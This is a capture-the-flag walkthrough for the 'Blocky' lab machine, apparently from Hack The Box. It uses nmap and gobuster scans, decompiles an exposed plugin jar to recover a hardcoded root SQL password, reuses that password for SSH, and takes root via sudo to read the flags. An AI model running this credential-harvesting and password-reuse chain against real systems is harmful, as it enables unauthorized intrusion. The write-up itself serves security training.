

```
[~]$ nmap -Pn -T4 -A -v 10.129.1.53
Scanning 10.129.1.53 [1000 ports]
Discovered open port 22/tcp on 10.129.1.53
Discovered open port 80/tcp on 10.129.1.53
Discovered open port 21/tcp on 10.129.1.53
```

```
[~]$ gobuster dir -e -u http://10.129.1.53/ -w
/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
```

```
=====
[+] Url:          http://10.129.1.53/
[+] Threads:     10
[+] Wordlist:     /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:  gobuster/3.0.1
[+] Expanded:    true
[+] Timeout:     10s
=====
```

```
2021/01/08 16:50:08 Starting gobuster
=====
```

```
http://10.129.1.53/wiki (Status: 301)
http://10.129.1.53/wp-content (Status: 301)
http://10.129.1.53/plugins (Status: 301)
http://10.129.1.53/wp-includes (Status: 301)
http://10.129.1.53/javascript (Status: 301)
http://10.129.1.53/wp-admin (Status: 301)
http://10.129.1.53/phpmyadmin (Status: 301)
http://10.129.1.53/server-status (Status: 403)
=====
```

```
2021/01/08 16:58:47 Finished
=====
```

```
browse to :
http://10.129.1.53/plugins/
```

```
find BlockyCore.jar
```

```
decompile it with JD-GUI (java decompiler) :
```

```
-----
package com.myfirstplugin;

public class BlockyCore {
    public String sqlHost = "localhost";

    public String sqlUser = "root";

    public String sqlPass = "8YsqfCTnvxAUeduzjNSXe22";
}
-----
```

```
[~]$ ssh notch@10.129.1.53
The authenticity of host '10.129.1.53 (10.129.1.53)' can't be established.
```

```
ECDSA key fingerprint is SHA256:lg0igJ5ScjV06jNwCH/0mEjde02+fx+MQhV/ne2i900.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? y  
Please type 'yes', 'no' or the fingerprint: yes  
Warning: Permanently added '10.129.1.53' (ECDSA) to the list of known hosts.  
notch@10.129.1.53's password: 8YsqfCTnvxAUeduzjNSXe22  
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
```

```
* Documentation:  https://help.ubuntu.com  
* Management:    https://landscape.canonical.com  
* Support:       https://ubuntu.com/advantage
```

```
7 packages can be updated.  
7 updates are security updates.
```

```
Last login: Thu Sep 24 08:12:11 2020 from 10.10.14.2
```

```
notch@Blocky:~$ whoami
```

```
notch
```

```
notch@Blocky:~$ ls
```

```
minecraft user.txt
```

```
notch@Blocky:~$ cat user.txt
```

```
59fee0977fb6*****
```

```
Running LinEnum script tell us notch is part of the sudoers group
```

```
notch@Blocky:~$ sudo -i
```

```
[sudo] password for notch: 8YsqfCTnvxAUeduzjNSXe22
```

```
root@Blocky:~# ls
```

```
dhcp.sh root.txt
```

```
root@Blocky:~# cat root.txt
```

```
0a9694a5b4d2*****
```